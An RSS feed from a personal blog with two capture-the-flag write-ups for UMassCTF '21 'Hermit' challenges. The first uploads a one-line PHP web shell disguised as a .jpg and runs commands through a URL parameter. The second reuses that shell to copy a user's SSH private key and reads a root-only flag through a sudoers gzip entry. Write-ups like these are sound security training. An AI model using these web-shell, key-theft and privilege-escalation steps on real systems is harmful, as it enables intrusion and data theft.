<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Ruslan&#39;s Tech Blog</title>
    <link>https://blog.bekenev.net/tags/hacking.html</link>
    <description>Software development related stuff</description>
    <language>en-us</language>
    <lastBuildDate>Sun, 28 Mar 2021 00:00:00 +0000</lastBuildDate>
    <atom:link href="https://blog.bekenev.net/tags/hacking/feed.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>UMassCTF &#39;21 Hermit 1 WriteUp</title>
      <link>https://blog.bekenev.net/2021/03/28/umassctf-hermit1-writeup.html</link>
      <pubDate>Sun, 28 Mar 2021 00:00:00 +0000</pubDate>
      <guid>https://blog.bekenev.net/2021/03/28/umassctf-hermit1-writeup.html</guid>
      <description>&lt;center&gt;&lt;a target=&#34;_blank&#34; href=&#34;https://blog.bekenev.net/assets/img/hermit-logo.png&#34;&gt;&lt;img alt=&#34;hermit logo&#34; src=&#34;https://blog.bekenev.net/assets/img/hermit-logo.png&#34; width=&#34;300px&#34;/&gt;&lt;/a&gt;&lt;/center&gt;&#xA;&lt;h2 id=&#34;solution&#34;&gt;Solution&lt;/h2&gt;&#xA;&lt;p&gt;There is only one form that accepts a file.&lt;/p&gt;&#xA;&lt;p&gt;The validation of the file is based on extension so we can try and upload &lt;code&gt;shell.php.jpg&lt;/code&gt; image with content like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;?=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;`$_GET[0]`&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;?&amp;gt;&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br/&gt;&#xA;&lt;p&gt;When image is uploaded we see the page like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a target=&#34;_blank&#34; href=&#34;https://blog.bekenev.net/assets/img/hermit-shell-uploaded.png&#34;&gt;&lt;img alt=&#34;hermit logo&#34; src=&#34;https://blog.bekenev.net/assets/img/hermit-shell-uploaded.png&#34; width=&#34;500px&#34;/&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Click on &lt;strong&gt;See image&lt;/strong&gt; and we see a blank page with some strange PHP errors. It&amp;rsquo;s because our &amp;ldquo;image&amp;rdquo; expects get param called &amp;ldquo;0&amp;rdquo; so let&amp;rsquo;s add one.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;104.197.195.221:8086/show.php?filename=VbvJC0&amp;amp;0=ls&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;and we can see list of directories in the project root.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a target=&#34;_blank&#34; href=&#34;https://blog.bekenev.net/assets/img/hermit-ls-project-root.png&#34;&gt;&lt;img alt=&#34;hermit logo&#34; src=&#34;https://blog.bekenev.net/assets/img/hermit-ls-project-root.png&#34; width=&#34;500px&#34;/&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now it&amp;rsquo;s time to search for flag. Let&amp;rsquo;s check home directory like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;104.197.195.221:8086/show.php?filename=VbvJC0&amp;amp;0=ls /home&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;we see there is only one folder &lt;code&gt;hermit&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s check that folder:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;104.197.195.221:8086/show.php?filename=VbvJC0&amp;amp;0=ls /home/hermit&lt;/code&gt; - and there is flag folder now.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;104.197.195.221:8086/show.php?filename=VbvJC0&amp;amp;0=ls /home/hermit/flag&lt;/code&gt; - shows us &lt;code&gt;userflag.txt&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;104.197.195.221:8086/show.php?filename=VbvJC0&amp;amp;0=cat /home/hermit/flag/userflag.txt&lt;/code&gt; - shows us the flag&lt;/p&gt;&#xA;&lt;p&gt;&lt;a target=&#34;_blank&#34; href=&#34;https://blog.bekenev.net/assets/img/hermit1-flag.png&#34;&gt;&lt;img alt=&#34;hermit logo&#34; src=&#34;https://blog.bekenev.net/assets/img/hermit1-flag.png&#34; width=&#34;500px&#34;/&gt;&lt;/a&gt;&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>UMassCTF &#39;21 Hermit 2 WriteUp</title>
      <link>https://blog.bekenev.net/2021/03/28/umassctf-hermit2-writeup.html</link>
      <pubDate>Sun, 28 Mar 2021 00:00:00 +0000</pubDate>
      <guid>https://blog.bekenev.net/2021/03/28/umassctf-hermit2-writeup.html</guid>
      <description>&lt;center&gt;&lt;a target=&#34;_blank&#34; href=&#34;https://blog.bekenev.net/assets/img/hermit2-into.png&#34;&gt;&lt;img alt=&#34;hermit logo&#34; src=&#34;https://blog.bekenev.net/assets/img/hermit2-into.png&#34; width=&#34;400px&#34;/&gt;&lt;/a&gt;&lt;/center&gt;&#xA;&lt;h2 id=&#34;solution&#34;&gt;Solution&lt;/h2&gt;&#xA;&lt;p&gt;The image above is what we see when visiting the challenge URL (&lt;code&gt;104.197.195.221:8087&lt;/code&gt;)&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s strange. Initially I thought the site is down but it&amp;rsquo;s fine.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try to connect with NetCat and see what the server tell us and why browser can&amp;rsquo;t display it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;nc -vvv 104.197.195.221 8087&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;and response we get back is:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;221.195.197.104.bc.googleusercontent.com [104.197.195.221] 8087 (?) open&#xA;SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Doesn&amp;rsquo;t look like valid HTTP resopnse lol. Ok now we know that SSH server is running on that port so let&amp;rsquo;s try to connect.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;ssh 104.197.195.221 -p 8087&lt;/code&gt; - and we see the prompt to enter a password for myself (krydos). It isn&amp;rsquo;t clear what user should I use.&#xA;And even if we know the user what is the password?&lt;/p&gt;&#xA;&lt;p&gt;As a hint the challenge name is &lt;code&gt;hermit&lt;/code&gt; so the user is probably has the same name but we still need to know password.&lt;/p&gt;&#xA;&lt;p&gt;Poking around, trying different things I noticed that hermit 2 challenge is &lt;strong&gt;on the same IP address where hermit 1&lt;/strong&gt; is.&lt;/p&gt;&#xA;&lt;p&gt;That&amp;rsquo;s actually great because we have shell access on the server from &lt;a href=&#34;https://blog.bekenev.net/2021/03/28/umassctf-hermit1-writeup.html&#34;&gt;the previous challenge&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So I went to &lt;code&gt;/home/hermit/.ssh&lt;/code&gt; folder, copied user&amp;rsquo;s private key and used it in my ssh command like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;ssh -i /tmp/hermit.ssh.private.key hermit@104.197.195.221 -p 8087&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re in. Now&amp;hellip; &lt;strong&gt;where is the flag?&lt;/strong&gt;&#xA;We know one flag from the previous challenge but I wasn&amp;rsquo;t able to find another one.&lt;/p&gt;&#xA;&lt;p&gt;Grep&amp;rsquo;ing everything didn&amp;rsquo;t help.&#xA;My assumption was that the flag is somewhere in &lt;code&gt;/root&lt;/code&gt; folder or somewhere else where hermit user doesn&amp;rsquo;t have access to.&lt;/p&gt;&#xA;&lt;p&gt;Now&amp;hellip; &lt;strong&gt;how can I become a root&lt;/strong&gt;? Tried some stuff but didn&amp;rsquo;t find anything useful.&lt;/p&gt;&#xA;&lt;p&gt;Then I grepped for &lt;code&gt;flag&lt;/code&gt; in &lt;code&gt;/etc&lt;/code&gt; folder and I found&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;hermit ALL = (root) NOPASSWD: /bin/gzip -f /root/rootflag.txt -t&lt;/code&gt; in &lt;code&gt;/etc/sudoers&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;This record means that we can execute that command without asking for password.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s do it:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;sudo /bin/gzip -f /root/rootflag.txt -t&lt;/code&gt; and we see the flag - &lt;code&gt;UMASS{a_test_of_integrity}&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hooray&lt;/p&gt;&#xA;</description>
    </item>
  </channel>
</rss>
